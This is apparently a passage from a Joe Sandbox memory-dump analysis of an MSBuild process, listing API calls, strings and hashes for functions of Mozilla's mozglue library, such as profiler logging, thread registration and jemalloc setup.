MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4F4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4F4A42

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: e1c7a6cef0a1620b450bc1244c628283e852ef4c905c4a3adaf96c628fb2f90d
Instruction ID: e9dff906b6fda6685a6d7437e5413877a4c13bb3c4066d0988e182680bfb7058
Opcode Fuzzy Hash: e1c7a6cef0a1620b450bc1244c628283e852ef4c905c4a3adaf96c628fb2f90d
Instruction Fuzzy Hash: A581E470E001008BDB10DF2DCD44F6A3775AFC2369F151229E92697F61EB31E946CB9A

Function 6C4F4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4F44B2,6C56E21C,6C56F7F8), ref: 6C4F473E
Part of subcall function 6C4F4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4F474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4F44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4F44D2
InitOnceExecuteOnce.KERNEL32(6C56F80C,6C4EF240,?,?), ref: 6C4F451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4F455C
LoadLibraryW.KERNEL32(?), ref: 6C4F4592
InitializeCriticalSection.KERNEL32(6C56F770), ref: 6C4F45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4F45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4F45BB
InitOnceExecuteOnce.KERNEL32(6C56F818,6C4EF240,?,?), ref: 6C4F4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4F4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4F4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4F466D
VerSetConditionMask.NTDLL ref: 6C4F469F
VerSetConditionMask.NTDLL ref: 6C4F46AB
VerSetConditionMask.NTDLL ref: 6C4F46B2
VerSetConditionMask.NTDLL ref: 6C4F46B9
VerSetConditionMask.NTDLL ref: 6C4F46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4F46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4F46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4F46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C4F46F7
WRusr.dll, xrefs: 6C4F44B5
GVl, xrefs: 6C4F44FC
kernel32.dll, xrefs: 6C4F44CD
user32.dll, xrefs: 6C4F4557, 6C4F463F
l, xrefs: 6C4F4578

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GVl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3794031938
Opcode ID: 8bd1ebb80e291ff2e1a2896d69a4b597cbd5fe210b1e2a36896885dd27dcf535
Instruction ID: bb5aba3ec9e4eb3f154d42b93bb7872deefbe195023b017045f06ec003008d96
Opcode Fuzzy Hash: 8bd1ebb80e291ff2e1a2896d69a4b597cbd5fe210b1e2a36896885dd27dcf535
Instruction Fuzzy Hash: 456139B0E00244AFEB00EF66CD05FA9B7F8EB86349F059258E5149BB61DBB08946CF54

Function 6C4F19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C56F760), ref: 6C4F19BD
GetCurrentProcess.KERNEL32 ref: 6C4F19E5
GetLastError.KERNEL32 ref: 6C4F1A27
moz_xmalloc.MOZGLUE(?), ref: 6C4F1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F1A4F
GetLastError.KERNEL32 ref: 6C4F1A92
moz_xmalloc.MOZGLUE(?), ref: 6C4F1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F1ABA
LocalFree.KERNEL32(?), ref: 6C4F1C69
free.MOZGLUE(?), ref: 6C4F1C8F
free.MOZGLUE(?), ref: 6C4F1C9D
CloseHandle.KERNEL32(?), ref: 6C4F1CAE
ReleaseSRWLockExclusive.KERNEL32(6C56F760), ref: 6C4F1D52
GetLastError.KERNEL32 ref: 6C4F1DA5
GetLastError.KERNEL32 ref: 6C4F1DFB
GetLastError.KERNEL32 ref: 6C4F1E49
GetLastError.KERNEL32 ref: 6C4F1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F1E9B

Part of subcall function 6C4F2070: LoadLibraryW.KERNEL32(combase.dll,6C4F1C5F), ref: 6C4F20AE
Part of subcall function 6C4F2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4F20CD
Part of subcall function 6C4F2070: __Init_thread_footer.LIBCMT ref: 6C4F20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4F1F15
VerSetConditionMask.NTDLL ref: 6C4F1F46
VerSetConditionMask.NTDLL ref: 6C4F1F52
VerSetConditionMask.NTDLL ref: 6C4F1F59
VerSetConditionMask.NTDLL ref: 6C4F1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4F1F6D

Strings

D, xrefs: 6C4F1B57

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 5cb86b321812b89510b7a60f8d0fdcfb55115b9e2f387d679993c7497956095b
Instruction ID: 5046a7736265a25628711d539769f26bd0bd285a42370fa8ff10b8f100f1c00e
Opcode Fuzzy Hash: 5cb86b321812b89510b7a60f8d0fdcfb55115b9e2f387d679993c7497956095b
Instruction Fuzzy Hash: 98F1AFB1E01225ABEB20DF65CC48FAAB7B4FF89304F110199E915A7650E770ED81CFA4

Function 6C52E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C527090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C52B9F1,?), ref: 6C527107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C52DCF5), ref: 6C52E92D
GetCurrentThreadId.KERNEL32 ref: 6C52EA4F
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EA5C
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EA80
GetCurrentThreadId.KERNEL32 ref: 6C52EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C52DCF5), ref: 6C52EA92
GetCurrentThreadId.KERNEL32 ref: 6C52EB11
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C52EB3C
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EB5B

Part of subcall function 6C525710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C52EB71), ref: 6C5257AB

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C52EBAC

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

GetCurrentThreadId.KERNEL32 ref: 6C52EBC1
AcquireSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000), ref: 6C52EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C52EBE5
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8,00000000), ref: 6C52EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C52EC46
CloseHandle.KERNEL32(?), ref: 6C52EC55
free.MOZGLUE(00000000), ref: 6C52EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C52EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C52EA9B

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 54ae1a6c05263cef6289835bb93413240c7dca4b58e841472ade4f59c51ce651
Instruction ID: a2667b5643f11aef92989d6510d144e902f45487c835ea5d07b448a22b52cfd9
Opcode Fuzzy Hash: 54ae1a6c05263cef6289835bb93413240c7dca4b58e841472ade4f59c51ce651
Instruction Fuzzy Hash: 25A1F331B002049FDB00AF2ACC48BA677F5FBC6319F154229E91987FA1DB759805CBA5

Function 6C52F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C52F8F9

Part of subcall function 6C4F6390: GetCurrentThreadId.KERNEL32 ref: 6C4F63D0
Part of subcall function 6C4F6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4F63DF
Part of subcall function 6C4F6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4F640E

ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F93A
GetCurrentThreadId.KERNEL32 ref: 6C52F98A
GetCurrentThreadId.KERNEL32 ref: 6C52F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F716

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

Part of subcall function 6C4EB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4EB5E0

GetCurrentThreadId.KERNEL32 ref: 6C52F739
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F746
GetCurrentThreadId.KERNEL32 ref: 6C52F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C56385B,00000002,?,?,?,?,?), ref: 6C52F829
free.MOZGLUE(?,?,00000000,?), ref: 6C52F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C52F866
free.MOZGLUE(?), ref: 6C52FA0C

Part of subcall function 6C4F5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4F55E1), ref: 6C4F5E8C
Part of subcall function 6C4F5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5E9D
Part of subcall function 6C4F5E60: GetCurrentThreadId.KERNEL32 ref: 6C4F5EAB
Part of subcall function 6C4F5E60: GetCurrentThreadId.KERNEL32 ref: 6C4F5EB8
Part of subcall function 6C4F5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F5ECF
Part of subcall function 6C4F5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4F5F27
Part of subcall function 6C4F5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4F5F47
Part of subcall function 6C4F5E60: GetCurrentProcess.KERNEL32 ref: 6C4F5F53
Part of subcall function 6C4F5E60: GetCurrentThread.KERNEL32 ref: 6C4F5F5C
Part of subcall function 6C4F5E60: GetCurrentProcess.KERNEL32 ref: 6C4F5F66
Part of subcall function 6C4F5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4F5F7E

free.MOZGLUE(?), ref: 6C52F9C5
free.MOZGLUE(?), ref: 6C52F9DA

Strings

" attempted to re-register as ", xrefs: 6C52F858
Thread , xrefs: 6C52F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C52F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C52F9A6

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: c920bd270da06c67d196025bc3af875743534f12fdbfdc3c26109ae8642f3a83
Instruction ID: 74f91841d555699ee1cde93527ff45dd14b8551e8b78b06a1f8f5324ed7d04d4
Opcode Fuzzy Hash: c920bd270da06c67d196025bc3af875743534f12fdbfdc3c26109ae8642f3a83
Instruction Fuzzy Hash: CE812571A043109FDB10DF25CC40BAAB7E5EFC5308F45466DE8858BBA1EB34AC09CB92

Function 6C4F4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4F4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C4F41F1
VerSetConditionMask.NTDLL ref: 6C4F4223
VerSetConditionMask.NTDLL ref: 6C4F422A
VerSetConditionMask.NTDLL ref: 6C4F4231
VerSetConditionMask.NTDLL ref: 6C4F4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4F4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C4F4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6C4F427A
FreeLibrary.KERNEL32(?), ref: 6C4F4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4F42C4
VerSetConditionMask.NTDLL ref: 6C4F42F6
VerSetConditionMask.NTDLL ref: 6C4F4302
VerSetConditionMask.NTDLL ref: 6C4F4309
VerSetConditionMask.NTDLL ref: 6C4F4310
VerSetConditionMask.NTDLL ref: 6C4F4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4F4324

Strings

SetProcessDpiAwareness, xrefs: 6C4F4274
Shcore.dll, xrefs: 6C4F425E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 4c73cbab1ebb8a511e314894f24091c456a46e1fe450d98a3d3df26fd3b18200
Instruction ID: 3e971d9a21a6c0efe628dd4f36a8132df48f3ad21add042ff3ceb73d731da530
Opcode Fuzzy Hash: 4c73cbab1ebb8a511e314894f24091c456a46e1fe450d98a3d3df26fd3b18200
Instruction Fuzzy Hash: 26510571B002145BEB10AB69CD08FBA7778EFC6794F024528F9159B6D0DFB49D51CAA0

Function 6C52EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52EE60
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EE6D
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C52EEA5
CloseHandle.KERNEL32(?), ref: 6C52EEB4
free.MOZGLUE(00000000), ref: 6C52EEBB
GetCurrentThreadId.KERNEL32 ref: 6C52EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52EECF

Part of subcall function 6C52DE60: GetCurrentThreadId.KERNEL32 ref: 6C52DE73
Part of subcall function 6C52DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4F4A68), ref: 6C52DE7B
Part of subcall function 6C52DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4F4A68), ref: 6C52DEB8
Part of subcall function 6C52DE60: free.MOZGLUE(00000000,?,6C4F4A68), ref: 6C52DEFE
Part of subcall function 6C52DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C52DF38

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

GetCurrentThreadId.KERNEL32 ref: 6C52EF1E
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EF2B
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EF59
GetCurrentThreadId.KERNEL32 ref: 6C52EFB0
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EFBD
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52EFE1
GetCurrentThreadId.KERNEL32 ref: 6C52EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F000

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F02F

Part of subcall function 6C52F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C52F09B
Part of subcall function 6C52F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C52F0AC
Part of subcall function 6C52F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C52F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C52F008
[I %d/%d] profiler_stop, xrefs: 6C52EED7

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 5edbfcbc01524098bffd7fafad25db531f797b72bb101ed0b46e0bdbd889019f
Instruction ID: 4bb76a688e52557917272ccf25dfd05281127458f4db52c5af315e7e0678ee4d
Opcode Fuzzy Hash: 5edbfcbc01524098bffd7fafad25db531f797b72bb101ed0b46e0bdbd889019f
Instruction Fuzzy Hash: DC51B335A04210DFDB00AB6EDC087B577F4EB8631AF120755E91583FA1DB795804C7AA

Function 6C51D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C56E804), ref: 6C51D047
GetSystemInfo.KERNEL32(?), ref: 6C51D093
__Init_thread_footer.LIBCMT ref: 6C51D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C56E810,00000040), ref: 6C51D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7B8,00001388), ref: 6C51D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E744,00001388), ref: 6C51D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E784,00001388), ref: 6C51D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7DC,00001388), ref: 6C51D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C51D322
Compile-time page size does not divide the runtime one., xrefs: 6C51D26D
MOZ_CRASH(), xrefs: 6C51D277
<jemalloc>, xrefs: 6C51D268, 6C51D311
MALLOC_OPTIONS, xrefs: 6C51D0CB

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 29b5ef8b75b70bf2cb92bcfdbaf7d45c0d95651969300fba1d4b537c8bbd2ae2
Instruction ID: afaf8458e880f126868b61c435b229b329132cf396e6d3dd9895771e7c60013e
